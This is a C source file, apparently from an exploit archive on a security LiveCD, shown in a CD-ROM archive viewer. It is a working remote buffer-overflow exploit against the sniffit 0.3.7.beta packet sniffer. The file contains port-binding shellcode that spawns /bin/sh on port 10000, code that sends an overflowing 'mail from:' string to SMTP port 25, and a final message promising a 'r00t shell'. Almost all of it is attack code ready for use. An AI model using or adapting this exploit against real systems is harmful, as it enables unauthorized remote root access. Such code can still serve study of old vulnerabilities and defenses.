home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / networktools / sniffit-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  286 lines

  1. /*
  2.  
  3.    Remote overflow in sniffit.0.3.7.beta
  4.    tested on slackware 7.1
  5.    found/coded by g463
  6.    -18th january 2002-
  7.  
  8.    The vulnerability is triggered when the option -L is
  9. called from the
  10.    command line with 'normmail'
  11.    ie : ./sniffit -c ./sample_config_file -L normmail
  12.    It calls a piece of code where the buffer is
  13. unchecked
  14.  
  15.        //From sniffit.0.3.7.beta/sn_logfile.c
  16.        void print_mail (char *conn, char *msg)
  17.        {
  18.        char line[250];
  19.        sprintf(line,"%s: mail [%s]",conn,msg);
  20.        print_logline (line);
  21.        }
  22.  
  23.        -  In a normal situation, it could be easier to fill line
  24. [250] with our
  25.        shellcode,  but  since  this buffer  gets filter  with
  26. some kind of
  27.        strlower() function  (thus our shellcode/return
  28. adress too), i rely
  29.        on an unfiltered buffer with the same data so we
  30. can point eip back
  31.        at that place with clean, unmodified shellcode :D
  32.  
  33.  
  34. All my brothers (alphabetical order) : Erebus, Jinx,
  35. mtadbf, nitr0gen, Slink[e]
  36. + some others i forget :p
  37.  
  38. */
  39.  
  40. #include <stdio.h>
  41. #include <sys/types.h>
  42. #include <sys/socket.h>
  43. #include <netinet/in.h>
  44. #include <arpa/inet.h>
  45. #include <unistd.h>
  46. #include <error.h>
  47. #include <string.h>
  48.  
  49. #define SMTP_PORT 25
  50. #define MAX_LINE 256
  51. #define BUFLEN 252
  52.  
  53. //define this to your ip
  54. #define MY_IP "192.168.0.1"
  55.  
  56. //Value for overwriting eip
  57. //should be the adress of the data buffer + some
  58. couple of garbage bytes
  59. #define RETADR 0x08059408
  60.  
  61. //Port binding shellcode, binds on port 10000
  62. //taken from bighawk@warfare.com
  63. char shellcode[] =
  64.    "\x31\xc0"            // xor     eax,
  65. eax
  66.    "\x31\xdb"            // xor     ebx,
  67. ebx
  68.    "\x89\xe5"            // mov     ebp,
  69. esp
  70.    "\x99"            // cdq
  71.    "\xb0\x66"            // mov     al,
  72. 102
  73.    "\x89\x5d\xfc"        // mov     [ebp-4], ebx
  74.    "\x43"            // inc     ebx
  75.    "\x89\x5d\xf8"        // mov     [ebp-8], ebx
  76.    "\x43"            // inc     ebx
  77.    "\x89\x5d\xf4"        // mov     [ebp-12], ebx
  78.    "\x4b"            // dec     ebx
  79.    "\x8d\x4d\xf4"        // lea     ecx, [ebp-12]
  80.    "\xcd\x80"            // int     80h
  81.    "\x89\x45\xf4"        // mov     [ebp-12], eax
  82.    "\x43"            // inc     ebx
  83.    "\x66\x89\x5d\xec"        // mov     [ebp-
  84. 20], bx
  85.    "\x66\xc7\x45\xee\x27\x10"    // mov     [ebp-18], word
  86. 4135
  87.    "\x89\x55\xf0"        // mov     [ebp-16], edx
  88.    "\x8d\x45\xec"        // lea     eax, [ebp-20]
  89.    "\x89\x45\xf8"        // mov     [ebp-8], eax
  90.    "\xc6\x45\xfc\x10"        // mov     [ebp-4], byte
  91. 16
  92.    "\xb2\x66"            // mov     dl,
  93. 102
  94.    "\x89\xd0"            // mov     eax,
  95. ed
  96.    "\x8d\x4d\xf4"        // lea     ecx, [ebp-12]
  97.    "\xcd\x80"            // int     80h
  98.    "\x89\xd0"            // mov     eax,
  99. edx
  100.    "\xb3\x04"            // mov     bl, 4
  101.    "\xcd\x80"            // int     80h
  102.    "\x43"            // inc     ebx
  103.    "\x89\xd0"            // mov     eax,
  104. edx
  105.    "\x99"            // cdq
  106.    "\x89\x55\xf8"        // mov     [ebp-8], edx
  107.    "\x89\x55\xfc"        // mov     [ebp-4], edx
  108.    "\xcd\x80"            // int     80h
  109.    "\x31\xc9"            // xor     ecx,
  110. ecx
  111.    "\x89\xc3"            // mov     ebx,
  112. eax
  113.    "\xb1\x03"            // mov     cl, 3
  114.    "\xb0\x3f"            // mov     al,
  115. 63
  116.    "\x49"            // dec     ecx
  117.    "\xcd\x80"            // int     80h
  118.    "\x41"            // inc     ecx
  119.    "\xe2\xf8"            // loop    -7
  120.    "\x52"            // push    edx
  121.    "\x68\x6e\x2f\x73\x68"    // push    dword
  122. 68732f6eh
  123.    "\x68\x2f\x2f\x62\x69"    // push    dword
  124. 69622f2fh
  125.    "\x89\xe3"            // mov     ebx,
  126. esp
  127.    "\x52"            // push    edx
  128.    "\x53"            // push    ebx
  129.    "\x89\xe1"            // mov     ecx,
  130. esp
  131.    "\xb0\x0b"            // mov     al,
  132. 11
  133.    "\xcd\x80";            // int     80h
  134.  
  135.  
  136. int usage (char *);
  137. int calculate_conn_lenght (struct sockaddr_in, struct
  138. sockaddr_in);
  139.  
  140. int
  141. main (int argc, char *argv[])
  142. {
  143.  
  144.    struct sockaddr_in stServer, stClient;
  145.    char *ptHost;
  146.    unsigned long int iHost;
  147.    int iSockfd, iLenght, iAlign = 0;
  148.    char sBuffer[MAX_LINE];
  149.    char sString[300];
  150.    int i;
  151.  
  152.    if (argc != 2) usage (argv[0]);
  153.  
  154.    ptHost = argv[1];
  155.    if ( (iHost = inet_addr (argv[1])) == INADDR_NONE)
  156. {
  157.  
  158.       printf ("Invalid host or host is 255.255.255.255\n");
  159.       exit (-1);
  160.  
  161.    }
  162.  
  163.    //Fill the server struct
  164.    memset (&stServer, 0, sizeof (struct sockaddr_in));
  165.    stServer.sin_family      = AF_INET;
  166.    stServer.sin_port        = htons (SMTP_PORT);
  167.    stServer.sin_addr.s_addr = iHost;
  168.  
  169.    if ( (iSockfd = socket (AF_INET, SOCK_STREAM,
  170. 0)) == -1) {
  171.  
  172.       printf ("Error opening socket\n");
  173.       exit (-1);
  174.  
  175.    }
  176.  
  177.    // Fill the client struct, mainly used to calculate the
  178. right align for RET addy
  179.    memset (&stClient, 0, sizeof (struct sockaddr_in));
  180.    stClient.sin_family      = AF_INET;
  181.    stClient.sin_port        = htons (0);
  182.    stClient.sin_addr.s_addr = inet_addr (MY_IP);
  183.  
  184.    if ( (bind (iSockfd, (struct sockaddr *) &stClient,
  185. sizeof (stClient))) == -1 ) {
  186.  
  187.       perror ("Cant bind socket");
  188.       exit (-1);
  189.  
  190.    }
  191.  
  192.    iAlign = calculate_conn_lenght (stClient, stServer);
  193.    i = BUFLEN - iAlign + 4;
  194.  
  195.    if ( (connect (iSockfd, (struct sockaddr *)
  196. &stServer, sizeof (stServer))) != 0) {
  197.  
  198.       perror ("Cant connect");
  199.       exit (-1);
  200.  
  201.    }
  202.    else printf ("Connected to host %s on port %d\n\n",
  203. ptHost, SMTP_PORT);
  204.  
  205.    // Recevons la banni^╩re du serveur smtp
  206.    if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0))
  207. == -1) {
  208.  
  209.       perror ("Cant get server banner");
  210.       exit (-1);
  211.  
  212.    }
  213.    printf ("%s\n", sBuffer);
  214.  
  215.    printf ("Building evil string... >:)\n");
  216.  
  217.    memset (sString, 0x90, sizeof (sString));
  218.  
  219.    memcpy (sString, "mail from:", strlen ("mail from:"));
  220.    memcpy(sString + i - strlen (shellcode), shellcode,
  221. strlen (shellcode));
  222.  
  223.    sString[i++] = (RETADR & 0x000000ff);
  224.    sString[i++] = (RETADR & 0x0000ff00) >> 8;
  225.    sString[i++] = (RETADR & 0x00ff0000) >> 16;
  226.    sString[i++] = (RETADR & 0xff000000) >> 24;
  227.    sString[i]   = '\0';
  228.  
  229.    if ( (send (iSockfd, sString, strlen (sString), 0)) == -
  230. 1) {
  231.  
  232.       perror ("cant send message");
  233.       exit (-1);
  234.  
  235.    }
  236.  
  237.    printf ("Evil string sent!\n");
  238.    printf ("Try telneting the host on port 10000 for r00t
  239. shell!\n");
  240.  
  241.    close (iSockfd);
  242.  
  243.    return (0);
  244.  
  245. }
  246.  
  247. int usage (char *progname)
  248. {
  249.  
  250.    printf ("%s <ip>\n", progname);
  251.    exit (-1);
  252.  
  253. }
  254.  
  255. /*
  256.    function to calculate conn entry lenght
  257.    ie : strlen of ("192.168.0.1.1024-192.168.0.69.25");
  258.    (fuckin dirty but heh it works)
  259. */
  260. int calculate_conn_lenght (struct sockaddr_in me,
  261. struct sockaddr_in him)
  262. {
  263.    int lenght = 0;
  264.    struct in_addr in;
  265.  
  266.    in.s_addr = me.sin_addr.s_addr;
  267.    lenght += strlen (inet_ntoa (in));     // 192.168.0.1
  268.  
  269.    lenght++;                              // .
  270.  
  271.    lenght += 4;                           // 1220
  272.  
  273.    lenght ++;                             // .
  274.  
  275.    in.s_addr = him.sin_addr.s_addr;
  276.    lenght += strlen (inet_ntoa (in));     // 192.168.0.69
  277.  
  278.    lenght++;                              // .
  279.  
  280.    lenght += 2;                           // 25
  281.  
  282.    lenght += strlen (": mail [");
  283.  
  284.    return (lenght);
  285. }
  286.